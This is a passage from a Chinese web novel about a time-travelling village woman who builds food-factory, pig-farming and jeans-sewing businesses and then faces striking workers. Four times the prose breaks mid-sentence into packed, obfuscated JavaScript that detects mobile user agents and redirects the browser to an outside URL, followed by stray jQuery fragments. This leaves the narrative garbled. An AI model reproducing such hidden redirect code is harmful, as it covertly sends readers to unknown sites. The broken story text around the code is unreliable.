支书把旱烟杆子再次塞回腰间,站起身,走过来,不满道:“有话不能好好说,非要大嗓门地吼人。” 他发现家里头俩女人,老婆子和儿媳妇俩人自从能够挣钱后,那脾气见天涨,以前说话还能有商有量,现在一有不顺心就狮子吼,简直没天理了。 李萍不惯着他,怼道:“你确定跟你好好说话,你会听?” 有了几次经历,支书已经有了经验,这样的情况他最好闭嘴,要不然就会被老婆子从头数落到脚。 再说林沐瑶此刻已经跟杨志彬开始吃晚饭了,还是在上次的那个老字号,不等菜上来,林沐瑶就把自己的想法说了。 “杨总,您看看这个塑料包装的火腿肠创意如何?能不能入股食品厂?” 杨志彬拿起了林沐瑶写的计划书,看了看,上面写了火腿肠的秘方,还有火腿肠的成本,以及售价,还有市场预估,甚至把营销策略都写了。 这方案虽然不是很严谨,也不是很完善,但创意很好,利润比文件上写的预估还要大。 他眼睫毛动了动后,问:“林同志,你把秘方都写上了?就不怕我用了你的创意后把你甩开?” 林沐瑶看着他的眼睛,非常坚定地说了俩字,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049877|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怕。” 然后她脸上浮现一抹笑容,又道:“我相信杨总的品行,就食品厂这么点利润,不值得您过河拆桥,坏了自己名声。” 杨志彬脸上有了那么点儿错愕,林沐瑶给他的那种神秘感又来了,一个没有正经上过学,只去过两三次海城,没怎么出过远门,又没有深厚家族底蕴的农村姑娘,她的见识真是太超前了。 而且心性沉稳,又有魄力,比一些大家族培养出来的大家闺秀也不遑多让。 他好奇地问:“林同志,你的见识和魄力,实在不像一个没有受过教育的农村姑娘,冒昧问一句,你可有什么奇遇?” 当然有,林沐瑶心说,被穿越大神选中,从后世穿越过来,这么神奇又玄幻的事,又岂是奇遇能够概括的。 但这些不能够说,她微微一笑,“我被骗了一次婚,算不算奇遇?” 杨志彬一向淡然的脸上终于有了波澜,他尴尬了一瞬,然后道歉,“对不起,我没有打听你隐私的问题。” 林沐瑶笑着摇了摇头,“这本就事实,我早就想开了,要不然也不会拿出来说。” 比起杨志彬的克制,季晖的反应就有些大了,“你这么精明,还能被骗婚?” 林沐瑶自嘲一笑,“没有遇到恶心事之前,谁不是对世界抱着善意,只有吃亏了,才会学会长心眼儿。” 这话说的有道理,季晖打抱不平道:“骗婚的那个人总有一天会后悔。” 林沐瑶漂亮又有能力,这样的女士大把的人追求,季晖肯定骗了林沐瑶的人迟早会后悔的。 林沐瑶眉眼一弯,“我也是这么想的。” 这时候菜已经上来了,三个人开始吃饭。 等吃过饭,喝茶的时候,林沐瑶再次旧话重提,“杨总,我的方案怎么样?” 杨志彬啜了一口茶,咽下后,回道:“不错,但是你技术入股,只能持有两成股。” 这个没问题,林沐瑶弯眉一笑,“好,我们什么时候签合同?” 她得趁热打铁把事情定下来。 “等我公司的人做出方案后再来签合同。” 杨总淡淡地说。 解决了一个大心事,林沐瑶便打蛇随棍上,又问:“做火腿肠少不了猪肉,牛角岭作为养殖基地的事,杨总怎么看?” 杨志彬今天跟着姬县长考察了安平县下面的乡村,对于这里农村有了些许认识,环境都大差不差,牛角岭大队作为养殖基地也不错,于是他便点了点头。 林沐瑶大喜,拍着胸膛道:“杨总放心,我们牛角岭大队绝对不会让你失望的。” 饭吃了,事办了,天也晚了,林沐瑶便提出告辞,杨志彬看了看外面黑乎乎的天色,说道:“让季晖开车送你。” 这次林沐瑶没拒绝,外面天黑洞洞的,她确实有些害怕。 而到了纺织厂工地,支书等人看到有汽车送林沐瑶回来,一个个既惊讶又激动,杨总竟然派车送林沐瑶,说明他们俩人关系肯定铁,牛角岭作为养殖基地的事肯定有门。 林沐瑶此刻从车里下来,打招呼:“李奶奶,春花婶,支书爷爷,你们也上车,杨总让季同志送我们回家。” 支书几人开始局促起来,他们身上灰朴朴的,真不敢坐汽车。 但林沐瑶开始拽人,“放心,坐一次坐不坏的。” 支书等人怀着忐忑的心情坐上了车,在车上手脚都不知道该放哪里,支书作为唯一年长的男人,先开口说话:“麻烦季同志了。” “不麻烦,我跟林同志是朋友。” 季晖笑着客气道。 闻言,支书看林沐瑶的眼神都不一样了,自从瑶丫头开窍后,这运气好得很呢,结交的人都是贵人。 汽车很快便把一行人送回了牛角岭大队,社员们还在支书家附近等消息,看到汽车,他们心头兴奋,他们牛角岭大队做养殖基地的事成了。 而车上的支书也早就从林沐瑶嘴里知道了事成的消息,但此刻他还在恍惚,因为林沐瑶竟然成了食品厂的第二股东,这,这丫头步子迈得也太大了吧。 林沐瑶则望着汽车前照灯在黑暗里射出的光线,嘴角微微勾起,她有了食品厂股份,又马上能够批发牛仔布料做加工服装生意,她的事业开始启航杨帆。 31. 锣鼓喧天 支书从汽车上下来,就被社员们围住了,七嘴八舌地问:“支书,你咋坐汽车回来的?” “支书,咱们大队养殖基地的事,怎么样了?” “支书,这汽车是谁家的?” 支书耳朵边仿佛有几百只鸭子在嘎嘎地叫,让他头晕脑胀,他烦躁地大声喊:“闭嘴!” 但他的声音如同泥牛入海,瞬间消融在繁杂的声海当中,他不得不再次提高音量,大声喊:“闭嘴!” 这次世界终于安静了下来,支书赶紧看向立在汽车旁边的季晖,颇为尴尬地说:“让季同志见笑了。” 季晖微微一笑,道:“这让我正好见识到了牛角岭大队社员的热情。” 支书不懂他这话的意思,忙看向了林沐瑶,林沐瑶收到他的不安,便看向季晖,笑着道:“季同志,既然感受到了我们牛角岭大队的热情,你回去也跟杨总报告一下我们这里的情况,我们牛角岭大队全体社员,有着无以伦比的信心,能够办好养殖基地。” “我一定会跟杨总报告牛角岭大队的热情。” 季晖笑着说了句。 支书和牛角岭大队的社员们顿时松了口气,继而就是激动,他们牛角岭大队要发财了。 支书到底是场面上的人物,起身过来招待季晖,“季同志,进家里喝口水。” 季晖婉拒,“今天天色晚了,杨总还等我回去呢。” 支书没法,只能好生相送,等小汽车一离开,社员们再次一拥而上,围住支书七嘴八舌地再次问:“支书,你见到杨总了吗?他长啥样?老杨家去了漂亮国那么多年,是不是长得也像外国人了?” “支书,杨总打算在咱们大队养啥,用啥价格收购?” 支书头疼,耳朵都开始嗡嗡起来,他不得已再次大吼了一声道:“闭嘴。” 这次社员们听话,很快地闭上了嘴巴,支书松了口气,这才大声说了杨总准备让他们大队养猪的事,“至于收购价格,杨总说了,就按照市场价收购,绝对不会亏待咱们,但是咱们必须给人家签合同,养的猪必须卖给人家,另外人家给咱们提供猪崽,猪崽要是养死了,得赔人家钱。” “咋还要赔钱?” 社员们不满意了,他们养殖家畜是为了挣钱,又不是为了赔钱。 支书没好气道:“怕赔钱就别做,人家免费给你猪崽,你养死了,不赔钱,哪里有那好事。” 这话一出,社员们养猪热情瞬间冷了很多,人都是趋利避害,只想做稳赔不亏的买卖,这养猪可能亏钱,他们心里头便开始打鼓。 支书险些没气死,原先哭着喊着要养殖,现在事情成了,一个两个地竟然打起了退堂鼓。 就是林沐瑶也有些膈应,觉得自己一片好心喂了狗,但是这事儿讲究你情我愿,别人不愿意养殖,她总不能逼迫人家。 等她看到支书气得脸色铁青的样子,便故意抬高声音说:“支书爷爷,您甭气,咱们这是给大家伙找挣钱的路子,听说杨总提供的猪崽是国外的白猪,长肉快,还不容易生病,五六个月就能够出栏,人家不缺人帮忙养。” “白猪这么好。” 支书不可置信地道,现在家家户户养的都是本土黑猪,要10到12个月才能够出栏呢。 林沐瑶笑着道:“这猪是外国人专门研究出来吃肉的,自然长得快一点儿,这猪崽得从漂亮国买,没有渠道还真买不到呢。” “只要不耽搁杨总的事就好。” 支书神情缓和了不少。 而围观的社员听了林沐瑶的话后若有所思,哪怕支书几人回了家,并且李萍还堵气地关上了院门,他们还不舍得回家。 聚在一起讨论养猪的事,“我可不信外国的白猪好,不是有个词叫做水土不服吗?指不定白猪到了咱们这里就病怏怏的。” “就是,瑶丫头不实在,为了巴结杨总,把外国的白猪都夸上天了,反正我家不养。” “我家也不养。” 在院子里听到外面社员讨论的李萍,担忧地看向林沐瑶,忐忑地问:“他们都不愿意养,你咋跟杨总交待啊?” 林沐瑶嘲讽一笑,“他们如果真不想养,就不会聚在门口不愿意走了,您等着,等报名那天,人肯定不会少。” 有些时候人就是喜欢口是心非,嘴上说嫌弃,但身体比嘴诚实,养猪这么低门槛的挣钱路子,家家户户还都是养猪的熟练工,不信他们会轻易放弃。 支书也忐忑,问:“万一他们都不乐意报名呢?” 林沐瑶一点也不担心,笑着道:“那就去别的地方,这是挣钱的活计,不愁没有人做。” 支书一家人这才放心,支书接着又问林沐瑶当二股东的事,林沐瑶捡着能说的说了,“我想出了一个吃食方子,杨总看中了,给了我两成食品厂股份。” “杨总也太大方了。” 王春花咋舌,然后用胳膊肘怼了下林守卫,嘟囔道:“你也整天围着锅台转,甭整天傻干活,也琢磨琢磨吃食方子啊。” 经过这么些天的锻炼,林守卫的嘴巴也利索了不少,反唇相讥:“你也每天不离锅碗瓢盆,你咋不想。” 王春花气地脸色一黑,她现在不想搭理这个男人,就不知道让一让她。 养殖基地的事只等着签合同,而杨志彬这个大忙人并没有在安平县呆几天,就又飞去京城了,好像去洽谈什么业务,大佬的时间永远都是属于事业的。 人家都在罗马了,还那么努力,她这个穷人,更没有理由偷懒,除了平常照看纺织厂食堂之外,她便开始拿起本子画各种牛仔衣服的样式,另外还不忘找打版的裁缝,争取在纺织厂投产后,就能够立刻拉起团队做衣服挣钱。 忙碌的时间总是过得很快,在立冬上冻之前,安平县牛仔布料纺织厂正式建成投产,正式投产那日,不仅仅安平县的领导班子到了,就是北城市的市长都来了,另外还有省报、市报、县报的记者,排名搞得够气派极了。 但是杨志彬却没能来,只有季晖来了,他到安平县的第一天,就见了林沐瑶,跟她说,“杨总正在京城跟岛国人谈灌肉机的事,另外京城还有杨家的祖业,杨总需要收回来。” 林沐瑶微微一笑,“杨总的大事要紧。” 季晖见她这么善解人意,大大地松了口气,他也奇怪自己为啥怕林沐瑶生气。 压下心中的好奇,他又说了养殖基地的事,“杨总特地从漂亮国购置的白猪,现在正在海关隔离,再有一个星期左右,就能够出关运来安平县了。” 林沐瑶大喜,忙又问:“灌肉机什么时候到?” 季晖摇了摇头,说道:“目前不清楚,得看杨总和岛国那边的厂商谈的如何了。” 灌肉机并不是什么高科技产品,更甭提对国防的贡献了,所以并不受政府管制出口,所以能够买到的概率很大,唯一的变数就是价格能不能谈拢。 不过以杨志彬的能力,以及他漂亮国人的身份,拿下灌肉机不是问题,林沐瑶心定了。 接着就开始找纺织厂的厂长刘平,开始申请牛仔布料的配额,这次季晖在,他便亲自带着她去见了刘平刘厂长。 牛仔布料紧缺,厂子还没有正式投产,找上他要牛仔布料的人就络绎不绝,为了躲避这些人,他是连家都不敢回了。 但别人是别人,杨总是杨总,这个厂子虽然是合资厂,但不妨碍杨总是老板的事实,他只不过给一个人一点牛仔布配额,他自然不会拒绝。 他笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李萍瞅着眼前的热闹,笑着道:“真热闹,比小时候城隍庙的庙会还要热闹。” “开工仪式本来就是为了聚集人气的。” 林沐瑶笑着道。 其实比起后世开业典礼上的礼乐队,她更加喜欢华国传统的秧歌或者舞狮,她想好了,等属于她的工厂开工,她就请舞狮队,再请戏班子唱上几天的大戏。 热热闹闹的开工仪式后,纺织厂正式开工,林沐瑶他们也忙碌起来,开始为纺织厂的工人准备饭菜。他们照样秉持着营养实惠的宗旨,力求让工人们吃饱吃好。 而林沐瑶五千块的牛仔布料,也在第二天交付给她,她找了林守卫,让他借了两辆拖拉机,帮忙把牛仔布料运回家里。 到了家里,她给几位拖拉机司机付了油费和辛苦费,好生把人送走,这才走向林守卫说道:“守卫叔,我就不去城里了,布料有了,我得赶紧召集人做衣裳。” 林守卫也知道轻重缓急,笑着道:“你的事要紧,咱们食堂的事都有章程了,不用你每天盯着。” 林沐瑶松了口气,等林守卫离开,她便找了支书,让他从村里的大喇叭上给她摇人。 她早就放了话风,等牛仔布料一到,就召集有缝纫机的女同志来加工衣服,当然得带上缝纫机,人按照加工衣裳的件数给工资,而缝纫机一个月五块钱。 大队里的女同志们都在等着这一天呢,听到大喇叭广播,便一窝蜂地来到了林沐瑶家,林沐瑶瞅着这么多人,开始摩拳擦掌,她这次一定要挣一大笔钱。 32. 暴利 大队的女社员们虽然知道林沐瑶定的加工衣裳的价格,但还是问了一句,“瑶丫头,这加工费咋算?” “一条女仔裤一毛钱。” 林沐瑶爽快地回道,另外还不忘给人画大饼,“如果是熟练工,一天轻轻松松地就能够加工二十来条裤子,至少能够挣两块钱。” 女社员们开始在心头盘算了,如果一天两块,那么一个月就是六十块,在城里一个干了十来年的工人,一个月的工资也就才三四十块呢,她们挣的钱顶得上城里工人两个月的工资呢。 然后心跳开始加速,眼睛开始发光,灼灼地盯着林沐瑶,问:“瑶丫头,我们什么时候开始干活儿?” 林沐瑶微微一笑,“现在就开始!” “啪啪啪!” 女社员们无师自通地学会了鼓掌,她们马上就要开始挣钱了呢。 挣了钱后,她们不用每每花钱都要看男人和婆婆的脸色,逢年过节走娘家,也能够理直气壮地孝敬亲爹妈,所以她们鼓掌鼓得非常起劲。 接着林沐瑶就找来了裁缝,是公社原来裁缝服务社的,改革开放后,市场上物资供应渐渐地充足起来,人们做衣服的热情也高涨。 她索性从裁缝服务社出来自己单干,月收入直接翻了五倍,其实当初林沐瑶找她来给牛仔裤打版,她是拒绝的。 但架不住林沐瑶给的太多了,首先不用每天来,一个月就给50块,另外还会给她提供牛仔布料。 50块钱她不缺,但缺牛仔布料,有了牛仔布料,她的生意能够更上一个台阶。 裁缝先打版,然后又教了几个女社员裁剪窄版直筒牛仔裤,裁剪好的布料交给做缝纫的女社员,让她们带回家里加工成牛仔裤。 而负责裁剪牛仔裤的女社员工资待遇,跟缝纫牛仔裤的女社员一模一样,都是一条裤子一毛钱,不过因为没有用她们的缝纫机,所以没有缝纫机租用费,比缝纫衣裳的女社员们少了五块钱。 但她们并不介意,谁让她们自己家里没有缝纫机呢,她们只求努力干活挣钱,争取也给家里买一台缝纫机,就算不做缝纫牛仔裤的活儿,但平常给家里人做衣裳也好啊。 就这样林沐瑶的成衣服装厂就这么开工了,没有鞭炮,没有秧歌队,甚至连正式的开工仪式都没有,厂房和机器也没有,就这么一个草台班子,但班子成员干劲十足。 忙碌起来时间过得很快,晚饭时间,便有女社员抱着加工好的牛仔裤来找林沐瑶,“瑶丫头,这是我今天加工的衣服。” 林沐瑶检查了一番都合格后,便当场算了工钱,一共十条牛仔裤,她给算了1块钱,女社员接了钱,激动地手直颤抖,活了快三十年了,这是她第一次独立挣到了钱,不知道为何,眼眶一酸,竟然流泪了。 林沐瑶好笑道:“哭啥?” 女社员抬手擦了擦眼泪,颤抖着嘴唇,哽咽道:“我能挣钱了,能给妞妞交学费,妞妞能去学校了。” 她嫁人后生了两个儿子一个闺女,两个儿子被婆家人宠成了宝贝,但对闺女却跟一个小丫鬟一样,三岁能走稳路开始,就开始跟着她做家务,吃饭还好,跟着一大家子吃大锅饭,但穿衣却只能捡两个哥哥的旧衣裳。 这些且不论,农村孩子没那么多讲究,但她不能容忍家里不让闺女去上学,她虽然大字不识几个,但是却也知道想要走出农村,就得读书。 她不想自己闺女像她一样,在娘家当牛做马之后,又到了婆家苦熬。 林沐瑶炯炯有神,她没有想到她不过为自己找了一个挣钱路子,竟然无意间促进了牛角岭大队女性觉醒。 然后她就笑了,经济基础决定上层建筑,而能够经济独立,就是女人最大的底气,她们原先不是不想挺起腰杆子,但没有实力支撑,一切都枉然。 不管怎么说,她也算无意间做了一件好事,俗话说赠人玫瑰,手留余香,做了好事,会有好运加持。 她微笑着给自己打气,“刚开工就有好事,所以这次肯定能够发大财。” 想着美事,却突然打了一个哆嗦,因为她站在门口,冬季的冷风穿过她身上的棉衣,吹了她一个透心凉。 她赶紧掀开棉帘子回屋,看着屋里还在忙着裁剪布料的女社员,问:“你们冷不冷?” 几人摇了摇头,其中一个女社员说道:“屋里烧了俩炉子,一点都不冷。” 煤球需要用钱买,平常家里哪里舍得整天大开着火,这屋里比家里头还暖和呢。 她们不冷,林沐瑶冷啊,她走了出去,从杂物房里抱出来一堆柴火,把火炕给烧上,再给屋里添点热乎气。 “这辈子我还没有住过这么暖和的屋子。” 屋里的女社员们切切私语,柴火不好打,煤炭又得用钱买,农村人家冬天取暖,也就是烧个火,让屋里没那么冰,冻不死人就成。 “是啊,真想瑶丫头能够挣大钱,咱们也能一直跟着她干。” 林沐瑶听着大家的话,嘴唇上扬,身上好像被注入了活力,她肯定能够挣大钱。 但第二天,她并没有去卖牛仔裤,昨天就收了五十条牛仔裤,这点量在安平县卖还成,但这次她想要去北城市卖。 安平县的消费能力有限,再加上没有市里人消息灵通,追逐时髦的兴趣也没有北城市的人大,去了那儿,牛仔裤更加畅销。 而且她去了北城市,家里的这一摊子总要有人帮她管着,李萍和王春花忙着纺织厂食堂的事儿,顾不过来,她熟识的人不多,还真有些难办。 想来想去,她还是找了自己家邻居李翠娥,这人是她穿越过来后,除开支书一家子,她打交道最多的人,而且人品方面还算信得过,她再找支书在一旁看着,家里的摊子就不会出大问题了。 她抬脚去了隔壁李翠娥家里,李翠娥家里有缝纫机,她便拿了布料回来缝纫,她到的时候,李翠娥正在家里埋头做牛仔裤。 看到她进来,忙从缝纫机前起身,笑着道:“你这个大忙人,怎么有空来我家了?” 林沐瑶微微一笑,便开门见山地把目的说了,然后道:“翠娥嫂子,我不会让您白干活,一个月给您十块钱的补贴。” 李翠娥眼前一亮,缝纫机租用费,再加上这次的补贴,她就能稳稳地拿15块的工资,她再加工衣裳,一个月拿五十块轻轻松松。 心里打了小算盘,表面却做足了客套,“老话说远亲不如近邻,搭把手怎么好拿钱,瑶丫头,你放心去卖牛仔裤,家里我帮你看着。” 林沐瑶自然也会说场面话,“让你帮忙,耽搁你加工衣裳挣钱,再说这不是一天两天的事,我总不能一直让你白干。” 闻言,李翠娥不再客气,把胸膛拍得啪啪响,声音坚定地保证,“瑶丫头放心,我保证帮你把家里的这一摊子看好。” 说了客套话,林沐瑶便跟她说了收牛仔裤的时候,要仔细检查,做工不好的要返工,不用留情面,谁要是敢闹事,就去找支书,以后但凡她挣钱的活计,都不会再找她。 李翠娥听着连连点头,“我知道了,我肯定照做。” 她有了加工衣裳的活儿,男人还闲着呢,她还想男人养猪呢,虽然当初说养死了猪崽要赔钱,但人家免费给的猪崽,养死了,可不得赔人家钱,如果不赔钱,万一有人起坏心,故意使坏养死人家猪崽呢。 再说了,他们家养猪也是熟练工,养死的概率很小,所以这养猪的活儿,九成九能够挣钱。 那么林沐瑶这边就得搞好关系了,她还指望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074620|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她拉着他们一家发财呢,没瞅见支书一家现在骡车买了,一天三顿细粮,见天吃肉,身上的衣裳更是十成的新,她羡慕得眼睛都是滴血得红。 见李翠娥说的真诚,林沐瑶放下了一半的心,出门后,又去找了支书,先是给他画大饼,“加工服装生意,我是打算做大的,等积累够资金了,我打算在咱们大队建一个服装加工厂,优先招聘咱们大队的社员,现在服装加工才开始,我们得把控好品质,这样才能够赢得顾客的信赖,才能够把生意做大做强。” 支书是亲眼瞧着林沐瑶怎么从一穷二白慢慢地富裕起来的,对于她画的大饼,他是真相信,忙保证道:“你放心,我会时不时地去看,监督牛仔裤质量。” 对比杨总的养殖基地,还是自己大队的孩子让人放心,支书此刻已经把牛角大队脱贫致富的一半信心加在林沐瑶身上了。 把家里安排好,林沐瑶隔天便带着两百多条牛仔裤去了北城市,这次与她同行的还有王春花。 支书和李萍不放心她一个人出门,本来还想着让林守卫陪她去,但是纺织厂食堂那边离不开林守卫,林守卫现在可是大厨。 经过一番商量,便决定让王春花跟着去,林沐瑶带着那么多的货,多个人帮忙照看,他们也能够放心。 林沐瑶领情,带着王春花和两百条牛仔裤在安平县,坐上了去北城的公交车。 到了北城市后,他们并没有乱逛,直接去了北城百货大楼,这个年代没啥步行街,人流多的地方便是车站和百货大楼。 而她当初的想法是对的,他们到百货大楼前面,刚找了个地方,把货架子打开,把牛仔裤挂上,便有人来问价。 林沐瑶硬气报价,“30块一条,不还价。” 这时候牛仔裤可是稀缺货,只要能够弄到货,根本不愁卖,所以她这次也硬气得很,拒绝还价。 “也太贵了。” 年轻男同志咋舌,他一个月工资才25块3毛,一条牛仔裤就30块,他一个月工资都不够买一条牛仔裤的。 林沐瑶拽拽地道:“这牛仔裤可是海城那边的时兴款式,30块一分钱都不能少。” 小伙子看她这副拽样子,又看了看蓝色的牛仔裤,咬了咬牙,“我买了。” 林沐瑶脸上立刻笑开了花,“好咧,这就给您拿一条新的。” 等小伙子离开,王春花拽了拽林沐瑶的胳膊,嘀咕道:“瑶丫头,你也真敢要价。” 林沐瑶笑了笑,“物以稀为贵,咱们的货难得,卖得贵了,才能够配得上我花费的心思。” 还有她赔出去的脸皮。 当然,最后一句话她是在心里头说的。 牛仔裤很受欢迎,小伙子买了之后,很快就又有了其他的顾客,虽然30块一条不便宜,但是大家还是咬牙买了。 不到一上午,就卖出了5条牛仔裤,好多顾客都因为价格太贵,望而却步了。 但林沐瑶却不会降价。一条牛仔裤成本,布料,人工加运输等等,一共才7块不到的成本,卖30块,她一条牛仔裤含泪怒挣23块,200条牛仔裤,那就是4600块,妥妥的暴利,她舍不得降价。 她心跳加速,这钱也太好挣了,在后世当了几年牛马,每天工作十几个小时,却只能挣三瓜俩枣窝囊废的她简直爱死这个年代了。 她再次来时,这次卖得就比上次快了,卖了差不多一天,就卖了20条,但数着钞票,忙活一天算什么,钱能够治愈一切疲惫。 不过这样销售太慢了,她得想想办法,怎么才能把牛仔裤全部卖出去,还能不减利润。 但俗话说家有金子外有秤,她大把大把的钞票进账,到底招了一些人的眼,意外说来就来,让她措手不及。 33. 讨伐林沐瑶 “瑶丫头,太缺德了,她一条牛仔裤净挣20多块,竟然只给我们1毛钱加工费,地主老财都没她剥削得很,我不服!” “我也不服,加工一件衣裳,不给二十块,我不干了。” 牛角岭大队的社员聚堆讨伐林沐瑶,本来他们还为了一天挣两块多钱沾沾自喜,但有人来牛角大队寻亲,闲聊的时候,说起了牛仔裤在北城市受欢迎程度。 “你们是没瞅见,不过一条裤子,就卖30块一条,买的人还不少,我有个朋友就在安平县新开的纺织厂上班,听她说,一条牛仔裤卖30块,那个老板一条裤子的利润就有二十多块,卖一天牛仔裤,抵一个工人一年的工资了。” 大队的社员们知道林沐瑶批发牛仔布料,让他们加工,是为了挣钱,他们也清楚,林沐瑶肯定不少挣,但没有想到会挣这么多,然后就开始酸了,心头开始不平。 林沐瑶也太黑了,一条牛仔裤挣二十多块,却只给他们1毛钱,比旧社会的地主老财还要狠,他们要讨伐她,不给涨加工费,他们就不干活,看林沐瑶还咋挣钱。 所以林沐瑶在北城市卖了一天货,累死累活地回来,就看到了社员们把她家的大门给堵住了。 王春花看到后,不解道:“瑶丫头,这些人在你家门口干啥?” 林沐瑶摇了摇头,“我也不清楚。” 她从骡车上跳下来,准备走上前去问,还没有走到跟前,就被人围住了,其中一个社员还没有站稳脚跟,就劈头盖脸地就质问:“瑶丫头,听说你一条牛仔裤能净挣二十多块钱,是不是真的?” 林沐瑶蹙眉,反问:“谁说的,我咋不知道我这么挣钱?” 这个社员不乐意了,伸出手指着林沐瑶的鼻子骂,“我们去安平县城打听了牛仔布料的价格,成本多少,你卖的价格多少,我们都清楚得很,你甭想骗我们。” 林沐瑶眉头拧成了疙瘩,社员们要求涨工资固然让她烦躁,但这现象背后的原因才更加令她警惕。 北城市离他们大队有些远,社员们需要买的生活物资等,在安平县城几乎就都能够解决,所以几乎没人去北城市,他们是怎么知道她卖牛仔裤的价格的? 还有社员们大概受眼界格局的制约,他们不会无缘无故地去安平县纺织厂打听牛仔布料价格的,这背后一定有只黑手在推动。 而这只黑手九成九想要牛仔裤加工的生意,但她却不知道这人是谁?这才是她需要警惕的。 不过目前最重要的是解决眼前社员罢工,要求涨工资的问题。 她抿了抿唇,绷着小脸儿,质问:“你们以为做牛仔裤,就是批发牛仔布料,裁剪好,缝纫成裤子,再拿去卖,这么简单吗?” “不然呢?” 社员们没好气地反问。 林沐瑶气笑了,冷声道:“牛仔布料这么抢手,你可知道为什么别人得不到配额,只有我有?” 这是大家都关心的问题,好奇地问:“为什么?” 林沐瑶却不答了,她笑着道:“大家不愿意干,就不干,我挣的每一分钱都对得起自己的良心,我不会强求你们给我干活儿。” 其实她的心此刻有些发寒,任谁一片好心被当成了驴肝肺,还伙同外人背刺她,她的心又不是铜墙铁壁,自然会痛。 王春花在一旁弄清楚怎么回事后,站出来,双手叉腰,大声怒骂:“一群大傻子,被人当刀使了,还沾沾自喜,瑶丫头为了拿到牛仔布料的配额,又是给人送方子,又是给人赔笑脸,还要承担牛仔布料砸手里的风险,承担了这么大的压力,还给你们发高工资,你们竟然听别人挑唆两句,就质疑瑶丫头。” 李萍紧跟着骂,“你们把瑶丫头的生意搅和黄了,你看看别人谁还肯雇佣你们做活儿,一个月六十来块的工资还不满足,咋,想上天啊。” “那也不能差这么多吧。” 社员里面有人反驳。 李萍气地深吸一口气,又要高声怒骂,却被林沐瑶给拦住了,她神色冷淡,声音冷冷地道:“我刚才说了,既然大家不乐意我给的工资,那么我也不强求大家,把拿回家的布料还我,我把账结清,咱们就一拍两散。” 社员们不干了,有一人出声叫嚷,“以前的工资一条牛仔裤一毛钱,太亏了,这些牛仔裤,就当你们补我们的差价了。” 然后就有人跟着附和,“就是,就当补了我们差价了。” 林沐瑶有些齿冷,虽然她当初找社员加工,有拉拢他们对抗林守德一家的意图,但不妨碍他们得利了啊,在三十块都是高工资的年代,她一个月给开六十来块的工资,她自问她这个老板已经够良心了,竟然还有不满。 “哼!” 她心里冷哼一声,现在谁能弄到货,谁就是大爷,她手握牛仔布料的货源,又给高工资,还真不愁帮她加工衣裳的人。 李萍气不过,开始大声怒骂,“你们还要脸吗?瑶丫头看你们可怜,才给你们活干,给你们高工资,就因为几句挑拨的话,就翻脸,你们亏不亏心。” “那她林沐瑶挣二十多块,却只给我们1毛,就不亏心吗?” 社员们也寸步不让。 林沐瑶拉住还要上前争辩的李萍和王春花,黑沉着脸道:“那些布料所有权是我,我只是交给你们,让你们帮忙加工,你们如果敢扣下不给,我就去公安局告你们!” 社员们红着脸,大声吼道:“我们怕你啊。” 他们这是笃定林沐瑶不敢告,他们这么些人呢,林沐瑶如果都给告了,她以后甭想在牛角岭大队生活了。 林沐瑶齿冷,他们这是想拿捏她,那也得看看她肯不肯,她现在不缺钱了,牛角岭大队不能住,她完全可以去安平县,或者北城市等地买房定居,不是非牛角岭大队不可的。 “那咱们就去公社派出所。” 林沐瑶毫不客气地道,说完她扭身就走向骡车,拿起小皮鞭,抬手挥鞭子,再吆喝一声,“大家伙别杵着了,去公社派出所。” 社员们傻了,他们没有想到林沐瑶竟然这么刚,竟然真要去派出所报案,她是真不怕得罪他们所有人啊。 他们虽然怕,但到手的好处还是舍不得交出去,大声嚷嚷道:“林五丫,你不想在牛角岭大队住了吗?” 林沐瑶嘲讽一笑,问:“牛角岭大队很好吗?能有城里好?” 这下把大家伙问住了,城里路是水泥路,路上没有鸡屎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再一个就是加工牛仔裤的事儿,县城那边她真不熟悉,而且有了刚才的这一档子事儿,安平县的人肯定也听到了风声,加工一条牛仔裤一毛钱的工钱,肯定不能够了,或多或少总要涨一些,她再次咬牙切齿地骂了一顿幕后黑手。 不过只要打不死她,她就不会放弃目前这个能够挣大钱的路子。 因为事情发生的突然,她措手不及,一晚上都想着如何在城里布局,天蒙蒙亮才休息。 刚眯上眼睛,大公鸡闹钟便响了,林守卫赶着骡车来接她去城里,家里还有牛仔裤的存货,但是她今天打算在安平县卖货,顺便找方正,让他帮忙留意房子,她打算在县城买房定居,不想回牛角岭大队了。 再就是想租一个院子,用来加工牛仔裤。 